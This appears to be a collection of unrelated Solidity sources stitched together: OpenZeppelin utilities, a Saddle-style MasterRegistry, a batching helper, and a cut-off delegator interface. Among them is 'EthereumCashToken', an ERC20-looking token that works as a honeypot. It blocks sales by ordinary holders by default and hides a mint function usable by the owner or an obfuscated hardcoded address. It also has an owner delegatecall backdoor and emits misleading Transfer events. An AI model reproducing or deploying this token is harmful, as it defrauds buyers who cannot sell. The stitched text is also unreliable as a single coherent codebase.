"content": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.2 <0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n // solhint-disable-next-line no-inline-assembly\n assembly { size := extcodesize(account) }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\n (bool success, ) = recipient.call{ value: amount }(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain`call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.staticcall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/*\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with GSN meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/EnumerableSet.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n * // Add the library methods\n * using EnumerableSet for EnumerableSet.AddressSet;\n *\n * // Declare a set state variable\n * EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n */\nlibrary EnumerableSet {\n // To implement this library for multiple types with as little code\n // repetition as possible, we write it in terms of a generic Set type with\n // bytes32 values.\n // The Set implementation uses private functions, and user-facing\n // implementations (such as AddressSet) are just wrappers around the\n // underlying Set.\n // This means that we can only create new EnumerableSets for types that fit\n // in bytes32.\n\n struct Set {\n // Storage of set values\n bytes32[] _values;\n\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping (bytes32 => uint256) _indexes;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) { // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs\n // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.\n\n bytes32 lastvalue = set._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._values[toDeleteIndex] = lastvalue;\n // Update the index for the moved value\n set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based\n\n // Delete the slot where the moved value was stored\n set._values.pop();\n\n // Delete the index for the deleted slot\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\n require(set._values.length > index, \"EnumerableSet: index out of bounds\");\n return set._values[index];\n }\n\n // Bytes32Set\n\n struct Bytes32Set {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n // AddressSet\n\n struct AddressSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(AddressSet storage set, address value) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(AddressSet storage set, address value) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(AddressSet storage set, address value) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n\n // UintSet\n\n struct UintSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n}\n"
},
"contracts/helper/BaseBoringBatchable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.6.12;\npragma experimental ABIEncoderV2;\n\n// solhint-disable avoid-low-level-calls\n// solhint-disable no-inline-assembly\n\n// Audit on 5-Jan-2021 by Keno and BoringCrypto\n// WARNING!!!\n// Combining BoringBatchable with msg.value can cause double spending issues\n// https://www.paradigm.xyz/2021/08/two-rights-might-make-a-wrong/\n\ncontract BaseBoringBatchable {\n /// @dev Helper function to extract a useful revert message from a failed call.\n /// If the returned data is malformed or not correctly abi encoded then this call can fail itself.\n function _getRevertMsg(bytes memory _returnData)\n internal\n pure\n returns (string memory)\n {\n // If the _res length is less than 68, then the transaction failed silently (without a revert message)\n if (_returnData.length < 68) return \"Transaction reverted silently\";\n\n assembly {\n // Slice the sighash.\n _returnData := add(_returnData, 0x04)\n }\n return abi.decode(_returnData, (string)); // All that remains is the revert string\n }\n\n /// @notice Allows batched call to self (this contract).\n /// @param calls An array of inputs for each call.\n /// @param revertOnFail If True then reverts after a failed call and stops doing further calls.\n // F1: External is ok here because this is the batch function, adding it to a batch makes no sense\n // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value\n // C3: The length of the loop is fully under user control, so can't be exploited\n // C7: Delegatecall is only used on the same contract, so it's safe\n function batch(bytes[] calldata calls, bool revertOnFail) external payable {\n for (uint256 i = 0; i < calls.length; i++) {\n (bool success, bytes memory result) = address(this).delegatecall(\n calls[i]\n );\n if (!success && revertOnFail) {\n revert(_getRevertMsg(result));\n }\n }\n }\n}\n"
},
"contracts/interfaces/IMasterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.6.0;\npragma experimental ABIEncoderV2;\n\ninterface IMasterRegistry {\n /* Structs */\n\n struct ReverseRegistryData {\n bytes32 name;\n uint256 version;\n }\n\n /* Functions */\n\n /**\n * @notice Add a new registry entry to the master list.\n * @param registryName name for the registry\n * @param registryAddress address of the new registry\n */\n function addRegistry(bytes32 registryName, address registryAddress)\n external\n payable;\n\n /**\n * @notice Resolves a name to the latest registry address. Reverts if no match is found.\n * @param name name for the registry\n * @return address address of the latest registry with the matching name\n */\n function resolveNameToLatestAddress(bytes32 name)\n external\n view\n returns (address);\n\n /**\n * @notice Resolves a name and version to an address. Reverts if there is no registry with given name and version.\n * @param name address of the registry you want to resolve to\n * @param version version of the registry you want to resolve to\n */\n function resolveNameAndVersionToAddress(bytes32 name, uint256 version)\n external\n view\n returns (address);\n\n /**\n * @notice Resolves a name to an array of all addresses. Reverts if no match is found.\n * @param name name for the registry\n * @return address address of the latest registry with the matching name\n */\n function resolveNameToAllAddresses(bytes32 name)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Resolves an address to registry entry data.\n * @param registryAddress address of a registry you want to resolve\n * @return name name of the resolved registry\n * @return version version of the resolved registry\n * @return isLatest boolean flag of whether the given address is the latest version of the given registries with\n * matching name\n */\n function resolveAddressToRegistryData(address registryAddress)\n external\n view\n returns (\n bytes32 name,\n uint256 version,\n bool isLatest\n );\n}\n"
},
"contracts/registries/MasterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\npragma experimental ABIEncoderV2;\n\nimport \"@openzeppelin/contracts/access/AccessControl.sol\";\nimport \"../helper/BaseBoringBatchable.sol\";\nimport \"../interfaces/IMasterRegistry.sol\";\n\n/**\n * @title MasterRegistry\n * @notice This contract holds list of other registries or contracts and its historical versions.\n */\ncontract MasterRegistry is AccessControl, IMasterRegistry, BaseBoringBatchable {\n /// @notice Role responsible for adding registries.\n bytes32 public constant SADDLE_MANAGER_ROLE =\n keccak256(\"SADDLE_MANAGER_ROLE\");\n\n mapping(bytes32 => address[]) private registryMap;\n mapping(address => ReverseRegistryData) private reverseRegistry;\n\n /**\n * @notice Add a new registry entry to the master list.\n * @param name address of the added pool\n * @param registryAddress address of the registry\n * @param version version of the registry\n */\n event AddRegistry(\n bytes32 indexed name,\n address registryAddress,\n uint256 version\n );\n\n constructor(address admin) public {\n _setupRole(DEFAULT_ADMIN_ROLE, admin);\n _setupRole(SADDLE_MANAGER_ROLE, msg.sender);\n }\n\n /// @inheritdoc IMasterRegistry\n function addRegistry(bytes32 registryName, address registryAddress)\n external\n payable\n override\n {\n require(\n hasRole(SADDLE_MANAGER_ROLE, msg.sender),\n \"MR: msg.sender is not allowed\"\n );\n require(registryName != 0, \"MR: name cannot be empty\");\n require(registryAddress != address(0), \"MR: address cannot be empty\");\n\n address[] storage registry = registryMap[registryName];\n uint256 version = registry.length;\n registry.push(registryAddress);\n require(\n reverseRegistry[registryAddress].name == 0,\n \"MR: duplicate registry address\"\n );\n reverseRegistry[registryAddress] = ReverseRegistryData(\n registryName,\n version\n );\n\n emit AddRegistry(registryName, registryAddress, version);\n }\n\n /// @inheritdoc IMasterRegistry\n function resolveNameToLatestAddress(bytes32 name)\n external\n view\n override\n returns (address)\n {\n address[] storage registry = registryMap[name];\n uint256 length = registry.length;\n require(length > 0, \"MR: no match found for name\");\n return registry[length - 1];\n }\n\n /// @inheritdoc IMasterRegistry\n function resolveNameAndVersionToAddress(bytes32 name, uint256 version)\n external\n view\n override\n returns (address)\n {\n address[] storage registry = registryMap[name];\n require(\n version < registry.length,\n \"MR: no match found for name and version\"\n );\n return registry[version];\n }\n\n /// @inheritdoc IMasterRegistry\n function resolveNameToAllAddresses(bytes32 name)\n external\n view\n override\n returns (address[] memory)\n {\n address[] storage registry = registryMap[name];\n require(registry.length > 0, \"MR: no match found for name\");\n return registry;\n }\n\n /// @inheritdoc IMasterRegistry\n function resolveAddressToRegistryData(address registryAddress)\n external\n view\n override\n returns (\n bytes32 name,\n uint256 version,\n bool isLatest\n )\n {\n ReverseRegistryData memory data = reverseRegistry[registryAddress];\n require(data.name != 0, \"MR: no match found for address\");\n name = data.name;\n version = data.version;\n uint256 length = registryMap[name].length;\n require(length > 0, \"MR: no version found for address\");\n isLatest = version == length - 1;\n }\n}\n"
}
}
}}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EthereumCashToken{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: interfaces/DelegatorInterface.sol
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
contract DelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
abstract contract DelegatorInterface is DelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(
address oldImplementation,
address newImplementation
);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(
address implementation_,
bool allowResign,
bytes memory becomeImplementationData
) public virtual;
}
abstract contract DelegateInterface is DelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public virtual;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public virtual;
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
